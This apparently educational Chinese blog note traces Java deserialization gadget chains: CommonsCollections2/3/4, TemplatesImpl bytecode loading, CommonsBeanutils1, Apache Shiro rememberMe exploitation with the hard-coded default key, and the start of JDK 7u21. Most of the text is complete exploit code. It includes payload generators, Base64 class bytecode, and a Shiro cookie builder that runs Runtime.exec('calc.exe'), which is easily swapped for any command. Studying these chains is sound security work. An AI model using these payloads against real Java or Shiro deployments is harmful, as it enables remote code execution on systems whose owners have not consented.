public class qwq { public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(evil.Exploit.class); String code = Utility.encode(cls.getBytes(), true); String bcelCode = "$$BCEL$$" + code;
ClassLoader loader = new ClassLoader(); loader.loadClass(bcelCode).newInstance(); } }
|
1 2 3 4 5 6 7 8 9
| package evil;
public class Exploit { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) {} } }
|
CommonsCollections3
回忆一下,CommonsCollections1 当中那个简单的 Demo,最后一步是执行 InvokerTransformer 去 RCE,那么我们为什么不可以结合动态执行字节码把这里改成 TemplatesImpl#newTransformer 方法去 RCE呢。
Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package com.app;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.apache.commons.collections.Transformer;
import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CommonsCollectionsIntro2 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
|
不过这个思路还是和 ysoserial 的 CommonsCollections3 不同,它并没有使用到 InvokerTransformer,这是因为有时候 InvokerTransformer 会被过滤。
它使用了一个工具类 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter,这个类的构造方法中调用了 newTransformer 方法从而免去了使用 InvokerTransformer 手工调用 newTransformer。

那么现在问题是如何调用 TrAXFilter 类的构造方法,这里使用一个新 Transformer:org.apache.commons.collections.functors.InstantiateTransformer,和它名字一样就是用来初始化调用构造方法的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public Object transform(Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } } catch (NoSuchMethodException var6) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException var7) { throw new FunctorException("InstantiateTransformer: InstantiationException", var7); } catch (IllegalAccessException var8) { throw new FunctorException("InstantiateTransformer: Constructor must be public", var8); } catch (InvocationTargetException var9) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9); } }
|
调用链:调用构造函数 TrAXFilter(Templates templates)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package com.app;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CommonsCollectionsIntro2 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { obj } ) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
|
TemplatesImpl 在 Shiro 中的利用
Shiro 这个组件的反序列化之前还真的没有学习过,它的原理大概是:为了保存登陆状态,Shiro支持将持久化信息加密后保存在 Cookie 的 rememberMe 字段里,下次读取的时候解密进行反序列化。简单的 Shiro 反序列化是 1.2.4 版本前内置了一个默认固定的 Key,导致可以伪造 Cookie 进而触发反序列化。
直接借用P神的项目:phith0n/JavaThings: Share Things Related to Java - Java安全漫谈笔记相关内容
攻击过程如下:
- 用
CommonsCollections 链生成一个序列化Payload
- 使用默认
key 进行加密
- 密文作为
Cookie 发送给服务端
这里根据上面的说法,勾选上 rememberme 后,

我们这里还是直接用P神现成的代码,如果我们只用普通的 CommonsColletions6 加密后传入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.govuln.shiroattack;
import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
public class Client0 { public static void main(String []args) throws Exception { byte[] payloads = new CommonsCollections6().getPayload("calc.exe"); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
|
会发现这里报错,也就是这个类

这个类:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class ClassResolvingObjectInputStream extends ObjectInputStream { public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); }
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException e) { throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e); } } }
|
他继承于 ObjectInputStream(反序列化常用类),并重写了 resolveClass 方法,这个方法简单概括就是说它会在读取序列化流的时候把一个字符串形式的类名转化为 java.lang.Class 的对象。
区别就是 shiro 用的是 org.apache.shiro.util.ClassUtils#forName 实际上用的是 org.apache.catalina.loader.ParallelWebappClassLoader#loadClass 而后者用的是原生的 Class.forName。

在这打个断点调试一下,发现异常的值就是 [Lorg.apache.commons.collections.Transformer;,其实就是表示 org.apache.commons.collections.Transformer 的数组。
其实本质上就是:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就是为什么 CommonsCollections6 存在 Transformer 数组无法利用。
这里就需要使用不含数组的 TemplatesImpl 替代 Transformer 数组。
这里我们先简单回顾一下 CommonsColletctions6 中的链子:
我们需要一个工具类 TiedMapEntry,它的构造函数有两个参数:Map 和 key,它的 getValue 方法调用了 map.get,当这里的 map 是 LazyMap 的时候就会在不存在哈希值的情况下触发 transform 方法。不过在 CommonColletions6 的时候我们是对 key 参数不关心的,只要他能够触发 transform 方法从而触发 Transformer 数组链就可以。
不过当我们细细的看一下源码,我们会发现:
1
| Object value = factory.transform(key)
|
这里 key 会被传入 transform 中,实际上就可以扮演着 ConstantTransformer 的角色,让 key 变为 TemplatesImpl 对象。
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CommonsCollectionsShiro { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
return barr.toByteArray(); } }
|
具体细节还是在最开始 InvokerTransformer 这里传入一个 FakeMethod,比如 getClass,然后后面再通过反射改回来。另外这里的 清理 hashcode 的代码从原来移除某一个 key 变味了 outermap.clear()。
分支版本 CommonsCollections4 利用与修复
真的觉得P神的 Java 安全漫谈写的很好,它很能把细节和原理说清楚,比如分支版本这件事情。
当反序列化链被提出的时候,Apache Commons Collections 库有以下两个分支版本:
官方认为旧的 commons-collections 有一些问题并且在修复的时候会产生大量不能向前兼容的改动,因此就创建了 commons-collections4 并且命名空间不冲突,可以共存。
我们可以尝试修改 CommonsCollections6 的代码的导入包名部分为新的 commons-collections4,其他不变的情况下会发现 LazyMap.decorate 这个方法的名字变为了 lazyMap,只需要修改一下就又成功弹出了计算器。
同理,CommonsCollections1、CommonsCollections3 都能在 CommonsCollections4 中正常使用。
PriorityQueue 利用链
其实本质上来说找利用链其实就是找一条从 Serializable#readObject 方法到 Transformer#transform 方法的链子。
CommonsCollections2 用到的两个关键类是:
java.util.PriorityQueue(含有 readObject 方法)
org.apache.commons.collections4.comparators.TransformingComparator(compare 方法能调用 transform 方法)
链子大概就是 readObject() $\rightarrow$ heapify() $\rightarrow$ siftDown() $\rightarrow$ compare() $\rightarrow$ transform() $\rightarrow$ Runtime.exec()。可以理解为在优先队列的实现过程中:调整数组 $\rightarrow$ 下沉操作 $\rightarrow$ 比较操作 $\rightarrow$ 转换操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package com.app;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.comparators.TransformingComparator;
public class CommonsCollections2 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), };
Transformer transformerChain = new ChainedTransformer(fakeTransformers); Comparator comparator = new TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1); queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
|
还是跟刚才一样,用 TemplatesImpl 去掉 ConstantTransformer 部分,这里需要把原来的传入的整数 $1、2$ 变成恶意 TemplatesImpl 对象,而在 Comparator#compare 中队列里的元素作为参数传入 transform 方法,也就是传给 newTransformer 从而达到动态调用字节码。
commons-collections 组件官方修复方法
官方给出了两个修复方法:
- 加入方法
checkUnsafeSerialization 用于检测反序列化是否安全(检测危险 Transformer 类是否在反序列化中)
- 危险
Transformer 类不再实现 Serializable 接口
CommonsBeanutils 与无 commons-collections 组件的Shiro反序列化利用
之前说的优先队列在反序列化它的时候为保证队列顺序可以进行重排序,这就涉及到大小比较进而执行了 java.util.Comparator 接口的 compare 方法。这里我们需要找到其他可以利用这个比较的类。
Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对 JavaBean 的一些操作方法。
一个简单的 JavaBean 类的例子:
1 2 3 4 5 6 7 8 9 10 11
| final public class Cat { private String name = "catalina";
public String getName() { return name; }
public void setName(String name) { this.name = name; } }
|
也就是说包含私有属性、读取属性、设置属性这三个特征。
commons-beanutils 提供了一个静态方法:PropertyUtils.getProperty 让使用者可以早不确定 JetBean 是哪个类对象的时候调用 getattr 方法:
1
| PropertyUtils.getProperty(new Cat(), "name");
|
这个时候会自动找到 name 属性的 getName 方法调用后获得返回值。甚至还支持递归获取属性:b.c。
getter 的妙用
我们需要找到一个类似于 java.util.Comparator 接口的 compare 方法,调用比较从而调用 transform 方法,这里我们找到 org.apache.commons.beanutils.BeanComparator 这个类,可以看一下 compare 这个方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public int compare( final T o1, final T o2 ) { if ( property == null ) { return internalCompare( o1, o2 ); } try { final Object value1 = PropertyUtils.getProperty( o1, property ); final Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } catch ( final IllegalAccessException iae ) { throw new RuntimeException( "IllegalAccessException: " + iae.toString() ); } catch ( final InvocationTargetException ite ) { throw new RuntimeException( "InvocationTargetException: " + ite.toString() ); } catch ( final NoSuchMethodException nsme ) { throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() ); } }
|
如果 this.property 为空就直接比较,如果不为空那么就调用 PropertyUtils#getProperty 方法比较两个对象的 property 属性的值。因为 getProperty 会去调用一个 JavaBean 的 getattr 方法,那么我们就得思考 getattr 方法到底怎么能进行一些恶意操作了。
我们回顾一下:
有一条链子在 TemplatesImpl 中提到过:
1 2 3
| >TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> >TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() >-> TransletClassLoader#defineClass()
|
当时说的是前两个方法都是 public,可以被调用进而调用 defineClass 方法。
你注意到 getOutputProperties 这个方法好像就是 get 开头,也就符合 JavaBean 的定义。也就是说,当我们调用 getProperty 方法就可以进而调用 “getattr” 方法(getOutputProperties)的时候传递恶意 TemplatesImpl 对象进而调用 defineClass 方法动态加载字节码。
现在开始构造反序列化链:
前面我们说到我们需要让 property 为空才能进到 getProperty 方法,而 BeanComparator 在空参数构造方法的时候 property 默认就是空,然后我们可以创建优先队列并指定 comparator(比较规则)设置为 outputProperties(也就是 getOutputProperties 的后缀),再把恶意 TemplatesImpl 对象推进队列里,最后就能触发反序列化链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| package com.app;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilTemplatesImpl"); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); ctClass.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc.exe\");"); byte[] bytes = ctClass.toBytecode();
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{bytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(1); queue.add(1);
setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); } }
|
在 Shiro 上实战
请注意,之前提到的 CommonsCollectionsShiro 需要在目标安装了 commons-collections 组件的情况下,那么如果目标没有安装怎么办呢?
我们删掉相关依赖重新刷 Maven,发现这里还是存在这刚才说的 org.apache.commons.beanutils,也就是说 Shiro 是依赖于 commons-beanutils 的。
首先是需要把 commons-beanutils 的版本调成和 Server 是相同的版本,这里可以调整 commons-beanutils 为 1.8.3 版本,或者直接装一个同版本的 Shiro 组件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class Client3 {
public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilShiroPayload"); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); ctClass.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc.exe\");"); byte[] bytecode = ctClass.toBytecode(); byte[] payloads = new CommonsBeanutils1ShiroOld().getPayload(bytecode); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println("生成可用于 Shiro RememberMe 的 Payload:"); System.out.println(ciphertext.toString()); } }
class CommonsBeanutils1ShiroOld {
public void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public byte[] getPayload(byte[] bytecode) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{bytecode}); setFieldValue(obj, "_name", "Pwned"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue queue = new PriorityQueue(2, comparator); queue.add("1"); queue.add("1");
setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
return barr.toByteArray(); } }
|
然后我这边就通了,我也不知道为什么(好像是因为 commons-collections 组件依赖没删干净)…
不过根据文章来说的话,这个 Bea吧vnComparator 类默认使用了继承自 commons-collections 的 ComparableComparator。

而这个东西在 Shiro 里好像没有完全继承(虽然 commons-beanutils 包含了一部分 commons-collections 的类),所以说需要找到一个无依赖的 Shiro 反序列化利用链。
这个 Comparator 需要满足几个条件:
- 实现
java.util.Comparator 接口
- 实现
java.io.Serializable 接口
Java、shiro 或 commons-beanutils 自带,且兼容性强
我们找到了 CaseInsensitiveComparator,它是 java.lang.String 下面的内部私有类,满足以上所有条件。
我们注意代码:
1 2
| public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator();
|
也就是说即使这个 java.lang.String 下面的 CaseInsensitiveComparator 是私有类,我们也可以通过它公开的静态成员 String.CASE_INSENSITIVE_ORDER 变量拿到这个实例,最后构造链子。
1
| final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
原生反序列化链 JDK 7u21
说完了上面第三方反序列化利用链,我们自然会想到当没有合适的第三方库存在的时候,如何利用 Java 反序列化,这就是 JDK 7u21 原生反序列化。
其实说实话反序列化的核心就在于 动态方法执行,而不是某个方法。比如涉及到 CommonsCollections 链的核心就是 Transformer,而 CommonsBeanutils 其实就是 PropertyUtils#getProperty 来触发 getattr。
而 JDK 7u21 的核心点就是就是sun.reflect.annotation.AnnotationInvocationHandler,我们曾经说过用这个类的动态代理功能取触发 Map#put、Map#get 方法。
不过我们可以找到这个类中得到 equalsImpl 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| private Boolean equalsImpl(Object o) { if (o == this) return true; if (!type.isInstance(o)) return false; for (Method memberMethod : getMemberMethods()) { String member = memberMethod.getName(); Object ourValue = memberValues.get(member); Object hisValue = null; AnnotationInvocationHandler hisHandler = asOneOfUs(o); if (hisHandler != null) { hisValue = hisHandler.memberValues.get(member); } else { try { hisValue = memberMethod.invoke(o); } catch (InvocationTargetException e) { return false; } catch (IllegalAccessException e) { throw new AssertionError(e); } } if (!memberValueEquals(ourValue, hisValue)) return false; } return true; }
private transient volatile Method[] memberMethods = null;
private Method[] getMemberMethods() { if (memberMethods == null) { memberMethods = AccessController.doPrivileged( new PrivilegedAction() { public Method[] run() { final Method[] mm = type.getDeclaredMethods(); AccessibleObject.setAccessible(mm, true); return mm; } }); } return memberMethods; }
|
这里代码就是有一个反射调用 hisValue = memberMethod.invoke(o);,而这个 merberMethod 其实就来源于针对于 this.type 这个类的所有方法(包括私有方法)。那如果说 this.type 是 Templates 类,势必就会调用到之前老生常谈的那些调用链的方法:
1 2 3
| TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
从而触发 RCE。
如何调用 equalsImpl
现在就是来思考如何调用 equalsImpl,通过查找可以发现它在 invoke 方法中被调用了。这个 invoke 不就是一个代理类 HOOK 到方法所要走的类吗。
InvocationHandler 是一个接口,他只有一个方法 invoke:
1 2 3 4
| public interface InvocationHandler { public Object invoke(Object proxy, Method method, Object[] args) throws Throwable; }
|
三个参数:
而 AnnotationInvocationHandler 实现了 InvocationHandler 接口,它的 invoke 方法逻辑恰好是我们需要的:
1 2
| if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]);
|
相当于方法名等于 equals 且只有一个参数的时候会调用 equalImpl 方法。现在我们问题变成,我们需要找到一个方法在反序列化的时候能对代理后的对象调用 equals 方法。
寻找 equals 方法调用链
比较 Java 对象的时候,我们常用两个方法:
equals(比较两个对象是否是同一个引用)
compareTo(比较两个对象的值是否相等)
比如说之前说到的 java.util.PriorityQueue 用的就是 compareTo,这里考虑一下 set 这个数据结构,因为它不允许储存的对象重复,所以说需要进行比较。
查看 HashSet 的 readObject 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject();
int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor));
int size = s.readInt();
for (int i=0; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); } }
|
可见这里用了一个 HashMap 将对象保存在 HashMap 的 key 处来做去重(HashMap 本质上就是 key 的哈希值当索引,value 用链表进行存储)
为了触发编辑哦操作,我们需要让被比较和比较的两个对象哈希相同,才会连接到同一条链表上,才会进行比较。
跟进 HashMap#put :
